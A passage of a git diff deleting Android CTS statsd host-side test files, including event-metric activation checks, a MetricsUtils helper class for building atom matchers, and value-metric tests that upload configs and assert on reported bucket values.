-        Thread.sleep(10L);
-
-        // Fifth logged event for Metric 1.
-        // Second logged event for Metric 2.
-        // Fifth logged event for Metric 3.
-        logAllMetrics();
-
-        // Expire all activations.
-        // Time remaining:
-        // Metric 1 Activation 1: 0 seconds
-        // Metric 1 Activation 2: 0 seconds
-        // Metric 2 Activation 1: 0 seconds
-        // Metric 2 Activation 2: 0 seconds
-        Thread.sleep(act1TtlSecs * 1000L);
-
-        // Metric 1 event ignored.
-        // Metric 2 event ignored.
-        // Sixth logged event for Metric 3.
-        logAllMetrics();
-
-        // Time remaining:
-        // Metric 1 Activation 1: 0 seconds
-        // Metric 1 Activation 2: 0 seconds
-        // Metric 2 Activation 1: 0 seconds
-        // Metric 2 Activation 2: 0 seconds
-        rebootDeviceAndWaitUntilReady();
-
-        // Metric 1 event ignored.
-        // Metric 2 event ignored.
-        // Seventh logged event for Metric 3.
-        logAllMetrics();
-
-        ConfigMetricsReportList reportList = getReportList();
-        List<ConfigMetricsReport> reports = getSortedConfigMetricsReports(reportList);
-        assertThat(reports).hasSize(3);
-
-        // Report before restart.
-        ConfigMetricsReport report = reports.get(0);
-        verifyMetrics(report, 3, 0, 3);
-
-        // Report after first restart.
-        report = reports.get(1);
-        verifyMetrics(report, 2, 2, 3);
-
-        // Report after second restart.
-        report = reports.get(2);
-        verifyMetrics(report, 0, 0, 1);
-    }
-
-    private void logAllMetrics() throws Exception {
-        doAppBreadcrumbReported(metric1MatcherId);
-        Thread.sleep(10L);
-
-        doAppBreadcrumbReported(metric2MatcherId);
-        Thread.sleep(10L);
-
-        doAppBreadcrumbReported(metric3MatcherId);
-        Thread.sleep(10L);
-    }
-
-    private void verifyMetrics(ConfigMetricsReport report, int metric1Count, int metric2Count,
-            int metric3Count) throws Exception {
-        assertThat(report.getMetricsCount()).isEqualTo(3);
-
-        verifyMetric(
-                report.getMetrics(0),   // StatsLogReport
-                1,                      // Metric Id
-                1,                      // Metric what atom matcher label
-                metric1Count            // Data count
-        );
-        verifyMetric(
-                report.getMetrics(1),   // StatsLogReport
-                2,                      // Metric Id
-                2,                      // Metric what atom matcher label
-                metric2Count            // Data count
-        );
-        verifyMetric(
-                report.getMetrics(2),   // StatsLogReport
-                3,                      // Metric Id
-                3,                      // Metric what atom matcher label
-                metric3Count            // Data count
-        );
-    }
-
-    private void verifyMetric(StatsLogReport metricReport, long metricId, int metricMatcherLabel,
-            int dataCount) {
-        LogUtil.CLog.d("Got the following event metric data: " + metricReport.toString());
-        assertThat(metricReport.getMetricId()).isEqualTo(metricId);
-        assertThat(metricReport.hasEventMetrics()).isEqualTo(dataCount > 0);
-
-        StatsLogReport.EventMetricDataWrapper eventData = metricReport.getEventMetrics();
-        assertThat(eventData.getDataCount()).isEqualTo(dataCount);
-        for (int i = 0; i < eventData.getDataCount(); i++) {
-            AppBreadcrumbReported atom = eventData.getData(i).getAtom().getAppBreadcrumbReported();
-            assertThat(atom.getLabel()).isEqualTo(metricMatcherLabel);
-        }
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricsUtils.java b/hostsidetests/statsd/src/android/cts/statsd/metric/MetricsUtils.java
deleted file mode 100644
index 7097587..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricsUtils.java
+++ /dev/null
@@ -1,163 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.metric;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.AtomMatcher;
-import com.android.internal.os.StatsdConfigProto.EventActivation;
-import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
-import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.google.protobuf.Message;
-import com.google.protobuf.Descriptors.Descriptor;
-import com.google.protobuf.Descriptors.FieldDescriptor;
-
-public class MetricsUtils {
-    public static final long COUNT_METRIC_ID = 3333;
-    public static final long DURATION_METRIC_ID = 4444;
-    public static final long GAUGE_METRIC_ID = 5555;
-    public static final long VALUE_METRIC_ID = 6666;
-
-    public static AtomMatcher.Builder getAtomMatcher(int atomId) {
-        AtomMatcher.Builder builder = AtomMatcher.newBuilder();
-        builder.setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(atomId));
-        return builder;
-    }
-
-    public static AtomMatcher startAtomMatcher(int id) {
-      return AtomMatcher.newBuilder()
-          .setId(id)
-          .setSimpleAtomMatcher(
-              SimpleAtomMatcher.newBuilder()
-                  .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                  .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                            .setField(AppBreadcrumbReported.STATE_FIELD_NUMBER)
-                                            .setEqInt(AppBreadcrumbReported.State.START.ordinal())))
-          .build();
-    }
-
-    public static AtomMatcher startAtomMatcherWithLabel(int id, int label) {
-        return appBreadcrumbMatcherWithLabelAndState(id, label, AppBreadcrumbReported.State.START);
-    }
-
-    public static AtomMatcher stopAtomMatcher(int id) {
-      return AtomMatcher.newBuilder()
-          .setId(id)
-          .setSimpleAtomMatcher(
-              SimpleAtomMatcher.newBuilder()
-                  .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                  .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                            .setField(AppBreadcrumbReported.STATE_FIELD_NUMBER)
-                                            .setEqInt(AppBreadcrumbReported.State.STOP.ordinal())))
-          .build();
-    }
-
-    public static AtomMatcher stopAtomMatcherWithLabel(int id, int label) {
-        return appBreadcrumbMatcherWithLabelAndState(id, label, AppBreadcrumbReported.State.STOP);
-    }
-
-    public static AtomMatcher unspecifiedAtomMatcher(int id) {
-        return AtomMatcher.newBuilder()
-                .setId(id)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(AppBreadcrumbReported.STATE_FIELD_NUMBER)
-                                .setEqInt(AppBreadcrumbReported.State.UNSPECIFIED.ordinal())))
-                .build();
-    }
-
-    public static AtomMatcher simpleAtomMatcher(int id) {
-      return AtomMatcher.newBuilder()
-          .setId(id)
-          .setSimpleAtomMatcher(
-              SimpleAtomMatcher.newBuilder().setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER))
-          .build();
-    }
-
-    public static AtomMatcher appBreadcrumbMatcherWithLabel(int id, int label) {
-        return AtomMatcher.newBuilder()
-                .setId(id)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
-                                .setEqInt(label)))
-                .build();
-    }
-
-    public static AtomMatcher appBreadcrumbMatcherWithLabelAndState(int id, int label,
-            final AppBreadcrumbReported.State state) {
-
-        return AtomMatcher.newBuilder()
-                .setId(id)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(AppBreadcrumbReported.STATE_FIELD_NUMBER)
-                                .setEqInt(state.ordinal()))
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
-                                .setEqInt(label)))
-                .build();
-    }
-
-    public static AtomMatcher simpleAtomMatcher(int id, int label) {
-      return AtomMatcher.newBuilder()
-          .setId(id)
-          .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                  .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                  .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                            .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
-                            .setEqInt(label)
-                  )
-          )
-          .build();
-    }
-
-    public static EventActivation.Builder createEventActivation(int ttlSecs, int matcherId,
-            int cancelMatcherId) {
-        return EventActivation.newBuilder()
-                .setAtomMatcherId(matcherId)
-                .setTtlSeconds(ttlSecs)
-                .setDeactivationAtomMatcherId(cancelMatcherId);
-    }
-
-    public static long StringToId(String str) {
-      return str.hashCode();
-    }
-
-    public static void assertBucketTimePresent(Message bucketInfo) {
-        Descriptor descriptor = bucketInfo.getDescriptorForType();
-        boolean found = false;
-        FieldDescriptor bucketNum = descriptor.findFieldByName("bucket_num");
-        FieldDescriptor startMillis = descriptor.findFieldByName("start_bucket_elapsed_millis");
-        FieldDescriptor endMillis = descriptor.findFieldByName("end_bucket_elapsed_millis");
-        if (bucketNum != null && bucketInfo.hasField(bucketNum)) {
-            found = true;
-        } else if (startMillis != null && bucketInfo.hasField(startMillis) &&
-                   endMillis != null && bucketInfo.hasField(endMillis)) {
-            found = true;
-        }
-        assertWithMessage(
-                "Bucket info did not have either bucket num or start and end elapsed millis"
-        ).that(found).isTrue();
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/ValueMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/ValueMetricsTests.java
deleted file mode 100644
index 0cf5bbb..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/ValueMetricsTests.java
+++ /dev/null
@@ -1,465 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.metric;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto.ActivationType;
-import com.android.internal.os.StatsdConfigProto.AtomMatcher;
-import com.android.internal.os.StatsdConfigProto.EventActivation;
-import com.android.internal.os.StatsdConfigProto.FieldFilter;
-import com.android.internal.os.StatsdConfigProto.FieldMatcher;
-import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
-import com.android.internal.os.StatsdConfigProto.MetricActivation;
-import com.android.internal.os.StatsdConfigProto.Predicate;
-import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
-import com.android.internal.os.StatsdConfigProto.SimplePredicate;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.internal.os.StatsdConfigProto.TimeUnit;
-import com.android.internal.os.StatsdConfigProto.ValueMetric;
-
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.SystemElapsedRealtime;
-import com.android.os.StatsLog.StatsLogReport;
-import com.android.os.StatsLog.StatsLogReport.BucketDropReason;
-import com.android.os.StatsLog.ValueBucketInfo;
-import com.android.os.StatsLog.ValueMetricData;
-
-import com.android.tradefed.log.LogUtil;
-
-public class ValueMetricsTests extends DeviceAtomTestCase {
-  private static final int APP_BREADCRUMB_REPORTED_A_MATCH_START_ID = 0;
-  private static final int APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID = 1;
-  private static final int APP_BREADCRUMB_REPORTED_B_MATCH_START_ID = 2;
-
-  public void testValueMetric() throws Exception {
-    // Add AtomMatcher's.
-    AtomMatcher startAtomMatcher =
-        MetricsUtils.startAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID);
-    AtomMatcher stopAtomMatcher =
-        MetricsUtils.stopAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID);
-    AtomMatcher atomMatcher =
-        MetricsUtils.simpleAtomMatcher(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID);
-
-    StatsdConfig.Builder builder = createConfigBuilder();
-    builder.addAtomMatcher(startAtomMatcher);
-    builder.addAtomMatcher(stopAtomMatcher);
-    builder.addAtomMatcher(atomMatcher);
-
-    // Add ValueMetric.
-    builder.addValueMetric(
-        ValueMetric.newBuilder()
-            .setId(MetricsUtils.VALUE_METRIC_ID)
-            .setWhat(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
-            .setBucket(TimeUnit.CTS)
-            .setValueField(FieldMatcher.newBuilder()
-                               .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                               .addChild(FieldMatcher.newBuilder().setField(
-                                   AppBreadcrumbReported.LABEL_FIELD_NUMBER)))
-            .setDimensionsInWhat(FieldMatcher.newBuilder()
-                                     .setField(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
-                                     .build())
-            .build());
-
-    // Upload config.
-    uploadConfig(builder);
-
-    // Create AppBreadcrumbReported Start/Stop events.
-    doAppBreadcrumbReportedStart(1);
-    Thread.sleep(1000);
-    doAppBreadcrumbReportedStop(1);
-    doAppBreadcrumbReportedStart(3);
-    doAppBreadcrumbReportedStop(3);
-
-    // Wait for the metrics to propagate to statsd.
-    Thread.sleep(1000);
-
-    StatsLogReport metricReport = getStatsLogReport();
-    LogUtil.CLog.d("Got the following value metric data: " + metricReport.toString());
-    assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.VALUE_METRIC_ID);
-    assertThat(metricReport.hasValueMetrics()).isTrue();
-    StatsLogReport.ValueMetricDataWrapper valueData = metricReport.getValueMetrics();
-    assertThat(valueData.getDataCount()).isEqualTo(1);
-
-    int bucketCount = valueData.getData(0).getBucketInfoCount();
-    assertThat(bucketCount).isGreaterThan(1);
-    ValueMetricData data = valueData.getData(0);
-    int totalValue = 0;
-    for (ValueBucketInfo bucketInfo : data.getBucketInfoList()) {
-      MetricsUtils.assertBucketTimePresent(bucketInfo);
-      assertThat(bucketInfo.getValuesCount()).isEqualTo(1);
-      assertThat(bucketInfo.getValues(0).getIndex()).isEqualTo(0);
-      totalValue += (int) bucketInfo.getValues(0).getValueLong();
-    }
-    assertThat(totalValue).isEqualTo(8);
-  }
-
-  // Test value metric with pulled atoms and across multiple buckets
-  public void testPullerAcrossBuckets() throws Exception {
-    // Add AtomMatcher's.
-    final String predicateTrueName = "APP_BREADCRUMB_REPORTED_START";
-    final String predicateFalseName = "APP_BREADCRUMB_REPORTED_STOP";
-    final String predicateName = "APP_BREADCRUMB_REPORTED_IS_STOP";
-
-    AtomMatcher startAtomMatcher =
-            MetricsUtils.startAtomMatcher(predicateTrueName.hashCode());
-    AtomMatcher stopAtomMatcher =
-            MetricsUtils.stopAtomMatcher(predicateFalseName.hashCode());
-
-    StatsdConfig.Builder builder = createConfigBuilder();
-    builder.addAtomMatcher(startAtomMatcher);
-    builder.addAtomMatcher(stopAtomMatcher);
-    builder.addPredicate(Predicate.newBuilder()
-            .setId(predicateName.hashCode())
-            .setSimplePredicate(SimplePredicate.newBuilder()
-                    .setStart(predicateTrueName.hashCode())
-                    .setStop(predicateFalseName.hashCode())
-                    .setCountNesting(false)
-            )
-    );
-
-    final String atomName = "SYSTEM_ELAPSED_REALTIME";
-    SimpleAtomMatcher.Builder sam = SimpleAtomMatcher.newBuilder().setAtomId(Atom.SYSTEM_ELAPSED_REALTIME_FIELD_NUMBER);
-    builder.addAtomMatcher(AtomMatcher.newBuilder()
-            .setId(atomName.hashCode())
-            .setSimpleAtomMatcher(sam));
-
-    // Add ValueMetric.
-    builder.addValueMetric(
-            ValueMetric.newBuilder()
-                    .setId(MetricsUtils.VALUE_METRIC_ID)
-                    .setWhat(atomName.hashCode())
-                    .setBucket(TimeUnit.ONE_MINUTE)
-                    .setValueField(FieldMatcher.newBuilder()
-                            .setField(Atom.SYSTEM_ELAPSED_REALTIME_FIELD_NUMBER)
-                            .addChild(FieldMatcher.newBuilder().setField(
-                                    SystemElapsedRealtime.TIME_MILLIS_FIELD_NUMBER)))
-                    .setCondition(predicateName.hashCode())
-                    .build());
-
-    // Upload config.
-    uploadConfig(builder);
-
-    // Create AppBreadcrumbReported Start/Stop events.
-    doAppBreadcrumbReportedStart(1);
-    // Wait for 2 min and 1 sec to capture at least 2 buckets
-    Thread.sleep(2*60_000 + 10_000);
-    doAppBreadcrumbReportedStop(1);
-
-    // Wait for the metrics to propagate to statsd.
-    Thread.sleep(1_000);
-
-    StatsLogReport metricReport = getStatsLogReport();
-    LogUtil.CLog.d("Got the following value metric data: " + metricReport.toString());
-    assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.VALUE_METRIC_ID);
-    assertThat(metricReport.hasValueMetrics()).isTrue();
-    StatsLogReport.ValueMetricDataWrapper valueData = metricReport.getValueMetrics();
-    assertThat(valueData.getDataCount()).isEqualTo(1);
-
-    int bucketCount = valueData.getData(0).getBucketInfoCount();
-    // should have at least 2 buckets
-    assertThat(bucketCount).isAtLeast(2);
-    ValueMetricData data = valueData.getData(0);
-    int totalValue = 0;
-    for (ValueBucketInfo bucketInfo : data.getBucketInfoList()) {
-      MetricsUtils.assertBucketTimePresent(bucketInfo);
-      assertThat(bucketInfo.getValuesCount()).isEqualTo(1);
-      assertThat(bucketInfo.getValues(0).getIndex()).isEqualTo(0);
-      totalValue += (int) bucketInfo.getValues(0).getValueLong();
-    }
-    // At most we lose one full min bucket
-    assertThat(totalValue).isGreaterThan(130_000 - 60_000);
-  }
-
-  // Test value metric with pulled atoms and across multiple buckets
-  public void testMultipleEventsPerBucket() throws Exception {
-    // Add AtomMatcher's.
-    final String predicateTrueName = "APP_BREADCRUMB_REPORTED_START";
-    final String predicateFalseName = "APP_BREADCRUMB_REPORTED_STOP";
-    final String predicateName = "APP_BREADCRUMB_REPORTED_IS_STOP";
-
-    AtomMatcher startAtomMatcher =
-            MetricsUtils.startAtomMatcher(predicateTrueName.hashCode());
-    AtomMatcher stopAtomMatcher =
-            MetricsUtils.stopAtomMatcher(predicateFalseName.hashCode());
-
-    StatsdConfig.Builder builder = createConfigBuilder();
-    builder.addAtomMatcher(startAtomMatcher);
-    builder.addAtomMatcher(stopAtomMatcher);
-    builder.addPredicate(Predicate.newBuilder()
-            .setId(predicateName.hashCode())
-            .setSimplePredicate(SimplePredicate.newBuilder()
-                    .setStart(predicateTrueName.hashCode())
-                    .setStop(predicateFalseName.hashCode())
-                    .setCountNesting(false)
-            )
-    );
-
-    final String atomName = "SYSTEM_ELAPSED_REALTIME";
-    SimpleAtomMatcher.Builder sam = SimpleAtomMatcher.newBuilder().setAtomId(Atom.SYSTEM_ELAPSED_REALTIME_FIELD_NUMBER);
-    builder.addAtomMatcher(AtomMatcher.newBuilder()
-            .setId(atomName.hashCode())
-            .setSimpleAtomMatcher(sam));
-
-    // Add ValueMetric.
-    builder.addValueMetric(
-            ValueMetric.newBuilder()
-                    .setId(MetricsUtils.VALUE_METRIC_ID)
-                    .setWhat(atomName.hashCode())
-                    .setBucket(TimeUnit.ONE_MINUTE)
-                    .setValueField(FieldMatcher.newBuilder()
-                            .setField(Atom.SYSTEM_ELAPSED_REALTIME_FIELD_NUMBER)
-                            .addChild(FieldMatcher.newBuilder().setField(
-                                    SystemElapsedRealtime.TIME_MILLIS_FIELD_NUMBER)))
-                    .setCondition(predicateName.hashCode())
-                    .build());
-
-    // Upload config.
-    uploadConfig(builder);
-
-    final int NUM_EVENTS = 10;
-    final long GAP_INTERVAL = 10_000;
-    // Create AppBreadcrumbReported Start/Stop events.
-    for (int i = 0; i < NUM_EVENTS; i ++) {
-      doAppBreadcrumbReportedStart(1);
-      Thread.sleep(GAP_INTERVAL);
-      doAppBreadcrumbReportedStop(1);
-      Thread.sleep(GAP_INTERVAL);
-    }
-
-    // Wait for the metrics to propagate to statsd.
-    Thread.sleep(1_000);
-
-    StatsLogReport metricReport = getStatsLogReport();
-    LogUtil.CLog.d("Got the following value metric data: " + metricReport.toString());
-    assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.VALUE_METRIC_ID);
-    assertThat(metricReport.hasValueMetrics()).isTrue();
-    StatsLogReport.ValueMetricDataWrapper valueData = metricReport.getValueMetrics();
-    assertThat(valueData.getDataCount()).isEqualTo(1);
-
-    int bucketCount = valueData.getData(0).getBucketInfoCount();
-    // should have at least 2 buckets
-    assertThat(bucketCount).isAtLeast(2);
-    ValueMetricData data = valueData.getData(0);
-    int totalValue = 0;
-    for (ValueBucketInfo bucketInfo : data.getBucketInfoList()) {
-      MetricsUtils.assertBucketTimePresent(bucketInfo);
-      assertThat(bucketInfo.getValuesCount()).isEqualTo(1);
-      assertThat(bucketInfo.getValues(0).getIndex()).isEqualTo(0);
-      totalValue += (int) bucketInfo.getValues(0).getValueLong();
-    }
-    // At most we lose one full min bucket
-    assertThat((long) totalValue).isGreaterThan(GAP_INTERVAL * NUM_EVENTS - 60_000);
-  }
-
-  // Test value metric with pulled atoms and across multiple buckets
-  public void testPullerAcrossBucketsWithActivation() throws Exception {
-    StatsdConfig.Builder builder = createConfigBuilder();
-
-    // Add AtomMatcher's.
-    int activationAtomMatcherId = 1;
-    int activationAtomMatcherLabel = 1;
-    AtomMatcher activationAtomMatcher =
-            MetricsUtils.appBreadcrumbMatcherWithLabel(
-                    activationAtomMatcherId, activationAtomMatcherLabel);
-    final String atomName = "SYSTEM_ELAPSED_REALTIME";
-    SimpleAtomMatcher.Builder sam = SimpleAtomMatcher.newBuilder()
-            .setAtomId(Atom.SYSTEM_ELAPSED_REALTIME_FIELD_NUMBER);
-    builder.addAtomMatcher(activationAtomMatcher)
-            .addAtomMatcher(AtomMatcher.newBuilder()
-                    .setId(atomName.hashCode())
-                    .setSimpleAtomMatcher(sam));
-
-    // Add ValueMetric.
-    builder.addValueMetric(
-            ValueMetric.newBuilder()
-                    .setId(MetricsUtils.VALUE_METRIC_ID)
-                    .setWhat(atomName.hashCode())
-                    .setBucket(TimeUnit.ONE_MINUTE)
-                    .setValueField(FieldMatcher.newBuilder()
-                            .setField(Atom.SYSTEM_ELAPSED_REALTIME_FIELD_NUMBER)
-                            .addChild(FieldMatcher.newBuilder().setField(
-                                    SystemElapsedRealtime.TIME_MILLIS_FIELD_NUMBER)))
-                    .build());
-    // Add activation.
-    builder.addMetricActivation(MetricActivation.newBuilder()
-          .setMetricId(MetricsUtils.VALUE_METRIC_ID)
-          .setActivationType(ActivationType.ACTIVATE_IMMEDIATELY)
-          .addEventActivation(EventActivation.newBuilder()
-                  .setAtomMatcherId(activationAtomMatcherId)
-                  .setTtlSeconds(5)));
-
-
-    // Upload config.
-    uploadConfig(builder);
-
-    // Wait for 1 min and 10 sec to capture at least 1 bucket
-    Thread.sleep(60_000 + 10_000);
-
-    // Wait for the metrics to propagate to statsd.
-    Thread.sleep(1_000);
-
-    StatsLogReport metricReport = getStatsLogReport();
-    LogUtil.CLog.d("Got the following value metric data: " + metricReport.toString());
-    assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.VALUE_METRIC_ID);
-    assertThat(metricReport.getValueMetrics().getDataList()).isEmpty();
-    // Bucket is skipped because metric is not activated.
-    assertThat(metricReport.getValueMetrics().getSkippedList()).isNotEmpty();
-    assertThat(metricReport.getValueMetrics().getSkipped(0).getDropEventList()).isNotEmpty();
-    assertThat(metricReport.getValueMetrics().getSkipped(0).getDropEvent(0).getDropReason())
-            .isEqualTo(BucketDropReason.NO_DATA);
-  }
-
-    public void testValueMetricWithConditionAndActivation() throws Exception {
-        final int conditionLabel = 2;
-        final int activationMatcherId = 5;
-        final int activationMatcherLabel = 5;
-        final int whatMatcherId = 8;
-        final int ttlSec = 5;
-
-        // Add AtomMatchers.
-        AtomMatcher conditionStartAtomMatcher = MetricsUtils.startAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_A_MATCH_START_ID, conditionLabel);
-        AtomMatcher conditionStopAtomMatcher = MetricsUtils.stopAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID, conditionLabel);
-        AtomMatcher activationMatcher =
-                MetricsUtils.startAtomMatcherWithLabel(
-                        activationMatcherId, activationMatcherLabel);
-        AtomMatcher whatMatcher =
-                MetricsUtils.unspecifiedAtomMatcher(whatMatcherId);
-
-        StatsdConfig.Builder builder = createConfigBuilder()
-                .addAtomMatcher(conditionStartAtomMatcher)
-                .addAtomMatcher(conditionStopAtomMatcher)
-                .addAtomMatcher(whatMatcher)
-                .addAtomMatcher(activationMatcher);
-
-        // Add Predicates.
-        SimplePredicate simplePredicate = SimplePredicate.newBuilder()
-                .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
-                .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
-                .build();
-        Predicate predicate = Predicate.newBuilder()
-                                  .setId(MetricsUtils.StringToId("Predicate"))
-                                  .setSimplePredicate(simplePredicate)
-                                  .build();
-        builder.addPredicate(predicate);
-
-        // Add ValueMetric.
-        builder
-                .addValueMetric(ValueMetric.newBuilder()
-                        .setId(MetricsUtils.VALUE_METRIC_ID)
-                        .setWhat(whatMatcher.getId())
-                        .setBucket(TimeUnit.ONE_MINUTE)
-                        .setCondition(predicate.getId())
-                        .setValueField(FieldMatcher.newBuilder()
-                                .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                                .addChild(FieldMatcher.newBuilder()
-                                        .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER))
-                        )
-                        .setDimensionsInWhat(FieldMatcher.newBuilder().setField(whatMatcherId))
-                )
-                .addMetricActivation(MetricActivation.newBuilder()
-                        .setMetricId(MetricsUtils.VALUE_METRIC_ID)
-                        .addEventActivation(EventActivation.newBuilder()
-                                .setAtomMatcherId(activationMatcherId)
-                                .setActivationType(ActivationType.ACTIVATE_IMMEDIATELY)
-                                .setTtlSeconds(ttlSec)
-                        )
-                );
-
-        uploadConfig(builder);
-
-        // Activate the metric.
-        doAppBreadcrumbReportedStart(activationMatcherLabel);
-        Thread.sleep(10);
-
-        // Set the condition to true.
-        doAppBreadcrumbReportedStart(conditionLabel);
-        Thread.sleep(10);
-
-        // Skipped due to unknown condition at start of bucket.
-        doAppBreadcrumbReported(10);
-        Thread.sleep(10);
-
-        // Skipped due to unknown condition at start of bucket.
-        doAppBreadcrumbReported(200);
-        Thread.sleep(10);
-
-        // Set the condition to false.
-        doAppBreadcrumbReportedStop(conditionLabel);
-        Thread.sleep(10);
-
-        // Log an event that should not be counted because condition is false.
-        doAppBreadcrumbReported(3_000);
-        Thread.sleep(10);
-
-        // Let the metric deactivate.
-        Thread.sleep(ttlSec * 1000);
-
-        // Log an event that should not be counted.
-        doAppBreadcrumbReported(40_000);
-        Thread.sleep(10);
-
-        // Condition to true again.
-        doAppBreadcrumbReportedStart(conditionLabel);
-        Thread.sleep(10);
-
-        // Event should not be counted, metric is still not active.
-        doAppBreadcrumbReported(500_000);
-        Thread.sleep(10);
-
-        // Activate the metric.
-        doAppBreadcrumbReportedStart(activationMatcherLabel);
-        Thread.sleep(10);
-
-        //  Log an event that should be counted.
-        doAppBreadcrumbReported(6_000_000);
-        Thread.sleep(10);
-
-        // Let the metric deactivate.
-        Thread.sleep(ttlSec * 1000);
-
-        // Log an event that should not be counted.
-        doAppBreadcrumbReported(70_000_000);
-        Thread.sleep(10);
-
-        // Wait for the metrics to propagate to statsd.
-        Thread.sleep(2000);
-
-        StatsLogReport metricReport = getStatsLogReport();
-        LogUtil.CLog.d("Received the following data: " + metricReport.toString());
-        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.VALUE_METRIC_ID);
-        assertThat(metricReport.hasValueMetrics()).isTrue();
-        assertThat(metricReport.getIsActive()).isFalse();
-
-        StatsLogReport.ValueMetricDataWrapper valueData = metricReport.getValueMetrics();
-        assertThat(valueData.getDataCount()).isEqualTo(1);
-        assertThat(valueData.getData(0).getBucketInfoCount()).isEqualTo(1);
-        long totalValue = valueData.getData(0).getBucketInfoList().stream()
-                .peek(MetricsUtils::assertBucketTimePresent)
-                .peek(bucketInfo -> assertThat(bucketInfo.getValuesCount()).isEqualTo(1))
-                .map(bucketInfo -> bucketInfo.getValues(0))
-                .peek(value -> assertThat(value.getIndex()).isEqualTo(0))
-                .mapToLong(value -> value.getValueLong())
-                .sum();
-        assertThat(totalValue).isEqualTo(6_000_000);
-    }
-
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/subscriber/ShellSubscriberTest.java b/hostsidetests/statsd/src/android/cts/statsd/subscriber/ShellSubscriberTest.java
deleted file mode 100644
index ba980fb..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/subscriber/ShellSubscriberTest.java
+++ /dev/null
@@ -1,199 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
